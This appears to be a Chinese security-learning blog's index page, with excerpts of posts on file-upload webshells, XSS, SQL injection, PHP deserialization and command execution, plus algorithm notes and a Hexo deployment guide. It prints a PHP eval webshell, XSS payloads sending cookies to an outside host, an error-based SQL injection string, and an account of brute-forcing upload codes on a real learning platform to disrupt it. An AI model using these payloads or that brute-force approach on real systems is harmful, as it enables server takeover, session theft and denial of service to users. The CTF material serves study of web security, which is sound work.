文件上传
文件上传0x00 前言文件上传漏洞通常是用来传木马或者留下后门,攻击者利用该漏洞可以用蚁剑连接服务器。常见的上传一句话木马有:
1<?php eval($_POST[aaa]);?>
0x01 常见waf常见的waf有判断后缀名,判断上传类型,判断文件内容
如以下代码:在$filename = $_FILES["file"]["name"]; 是得到上传的文件名和, $_FILES['file']['type']是得到上传类型,在这个php文件里面是限定了只能是image/png,这个存在于http请求报文中,也就是说我们可以抓包修改。
12345678910111213141516171819202122232425262728293031323334353637error_reporting(0);if ($_FILES["file"]["error"] > 0){ $ret = array("code"=>2 ...
xss的进阶
xss的一些技巧以前是懂了xss的原理但是对js不太熟悉,在ctfshow中学到了很多姿势,学校也开了css+javascript门课所以我就开始探索xss的新大陆。以下内容仅用于学习,请勿在自己服务器上尝试。
大体思路
1234<body onload="window.location.href='http://xss.xxxx.top/xss.php?xss='+document.cookie"> </body><img onload="window.location.href='http://xss.xxxx.top/xss.php?xss='+document.cookie" src="http://xss.xxxx.top/xss.jpg">
onload是该标签完成加载后开始执行js代码,然后让它访问我的网站,并把它写入到我的flag.txt文件里面,之前是用的xss.pt但是我为了搞懂他的原理,搭建了一个方便我进行xss测试的环 ...
国赛wp
easy_sql:
发现是报错注入,闭合’)即可
猜测flag为一个表
测试确实是,而且有id
利用join 相同的表,然后在从里面查找,这时由于相同表所以列名会相同所以会报错,得知id和no会重复
1uname=') and updatexml(1,concat('~',( select right((select ` 048166f8-ea0e-41d7-b1e8-dca1c28566cf` from flag),39) ),'~'),3) -- -&passwd=1
然后查询flag即可
middle_source拿到题目发现源码
扫描目录:
访问you_can_seeeeeeee_me.php
参考博客https://www.dazhuanlan.com/2019/12/11/5df084e93276a/
跑脚本:
123456789101112131415161718192021222324252627import ioimport requestsimport threadingsessid = ...
php反序列化
好早就遇到过,没有认真的看看。
参考:小边同学
原理:php在反序列化时,如果各个参数正确,将首先执行__wakeup, 不执行 __contruct, 所以可以修改各个参数,让原本的值改变,达到我们想要的目的。
序列化函数: serialize()
反序列化函数: unserialize()
O:4:”Name”:2:{s:8:”username”;s:3:”hih”;s:8:”password”;s:3:”lil”;}
解释一下O代表的是对象,如果是A就是数组,4代表类名的长度,”Name”代表类名,2表示有两个成员变量,后面是成员变量的具体内容,s表示是字符串,8表示长度,username是成员变量的名字,’ ;’后面是改成员的值,长度为3,字符串类型,值为’hih’, ‘;’后面是第二个成员变量的内容。
__wakeup 的绕过 成员数量不对就不会执行wakeup函数,将上面的2改成3就好。
2.private(私有)、protected(保护)属性外部修改public属性可以被外部修改而private、proctected属性无法被对象外部修改
priva ...
搜索与图论
搜索与图论学习内容:DFS, BFS, Dijstra ford,spfa,Floyd,prim,kuuskal算法,图论。点击这里开始学习。
一、深度优先搜索 递归实现深度优先搜索,适用于全排列。著名问题有n-皇后问题。
12345678910void dfs(){ /*结束条件*/ for(){/*遍历下一个*/ if(/*筛选条件*/){ /*改变现场*/ dfs(); /*恢复现场*/ } }}
二、广度优先搜索 通过队列实现每一级的搜索,可以解决最短路的问题。比如走迷宫,华容道问题。遍历每一个结点,然后由结点产生下一个结点。判断该点是否符合题意
1234567891011void bfs(){ queue<int> q; while(/*遍历结点一般是q.size()*/){ int t=q.fornt(); q.pop(); ...
git-hexo部署到服务器
看这个
由于我换了一台电脑,又买了一个服务器,git发布到github上有些不稳定,而且慢,所以我打算发布到我的服务器。
环境:win10, ubuntu18.04.3 , win10已安装git和hexo,并且可以部署到github上。
服务器上的部署一、首先是为ubuntu创建新用户,在服务器上操作a. 创建git用户。
1#adduser git
b. 修改git用户的权限。
1#chmod 740 /etc/sudoers
c. 打开文件。
1#vim /etc/sudoers
进入后按i键由命令模式切换到编辑模式。找到 root ALL=(ALL) ALL,在下面添加一行 git ALL=(ALL) ALL。修改完成后,先按Esc由编辑模式切换到命令模式,再输入:wq命令保存并退出编辑器。
d. 保存退出后改回权限
二、为免密登录准备在home的git目录下创建一个.ssh文件
123#su git$cd ~$mkdir .ssh
本地计算机a. 生成密钥对,我是有过一个密钥对了,我为了两个都生效,我在C:\user\rao.ssh\下创建了一个config,用来让 ...
逻辑破坏-超星学习通电脑文件上传
记一次特殊的破坏超星学习通存在一个从电脑传文件到手机的功能,打开任意的对话框,点击+号,选择文件,
那么在电脑打开yun.chaoxing.com输入上传码就可以上传文件到手机,再由手机来判断是否发送到对方。
抓包发现是get传值,我就想到爆破他,毕竟1000到9999的数值范围不大(可能是0到9999)
爆破结果
可以得到token,但是我太菜了,还没学到token的使用,不然可以利用这些给手机方发送木马文件或者是其他文件,利用对方对其好奇的心理就可以使其点击打开,不过现在也能做些破坏,如果我不停的爆破他,那么他就没办法用这个功能了,因为这个码存在一个特性,就是他只能被用一次,就是再用他的话就会失效,在扫包的时候就用过这个码了,尽管大多数是没有用的码,但也能让有些人的码失效。所以最次也可以破坏这个功能,最好就是利用那些token和人的好奇心理传些乱七八糟的东西给他。
算法笔记
学习一些入门算法应该不会很难吧,哈哈(C++)
快排假设q[n]是一个整数数组需要排序
12345678910111213141516void quicksort(int q[],int l,int r){ if (l >= r) return; int mid = q[l]; int i = l - 1, j = r + 1; while (l < r) { do { i++; } while (q[i] < mid); do { j++; } while (q[j] > mid); if (i < j) swap(q[i], q[j]); } quicksort(q, l, j); //这时不能用i-1,因为最后不一定就是i>j也可能是i=j,就可能i-1会比l小 quicksort(q, j + 1, r); //& ...
xss
原理好像比较简单,用js来完成。
直接上代码:
当我们输入<script>alert(‘xss’)</script>将会发生弹窗,这就是基本的原理。
ctfhub xss 反射型:目的 :得到cookie
得到题目:
注册一个xss平台 xss platform
https://xss.pt/xss.php?do=project&act=viewcode&id=17294
在sent url to bot 构建 当前url+name=<Img sRC=https://xss.pt/dQHWp.jpg> 即可在平台得到接收内容。
我们对xss已经有了简单的了解。
xss分为简单的三种:
一、xss反射型原理:对普通的用户输入,页面原样输出,用户通过对JSCODE的伪装,经过一些操作就会跳出一个木马界面,取得登录用户的Cookie.
比如说我建立了一个网站,还有一个其他人的网站有xss漏洞,在用户访问漏洞网站后,我就可以诱导用户去点击我的网站,我的网站就可以用javascript利用浏览器去访问漏洞网站,然后让其访问我的服务 ...
命令执行
一、命令执行漏洞配上链接命令执行&代码执行漏洞
成因:一般是服务器没对用户提交的参数进行严格的过滤,这个参数要带入执行系统命令的函数中。
常见的有
(1) system(),
该函数会把执行结果输出,并把输出结果的最后一行作为字符串返回,如果执行失败则返回false
(2) passthru(),
此函数只调用命令,并把运行结果原样地直接输出,该函数没有返回值。
(3) exec()
不输出结果,返回执行结果的最后一行
(4) shell_exec()
不输出结果,返回执行结果;一般和echo 一起使用。
二、代码执行漏洞(1)、常见的有eval() assert()
eval()里的参数是php代码,可以是多条代码,但是必须是没错的,需要分号结尾,但是在实战中他会把;号过滤掉,可以用?>来结束语句,这时就只能执行一句了。
assert ( mixed $assertion [, string $description ] ) 如果assertion是字符串,它将会被 assert() 当做 PHP 代码来执行,如果 assertion 失败了,选项 descript ...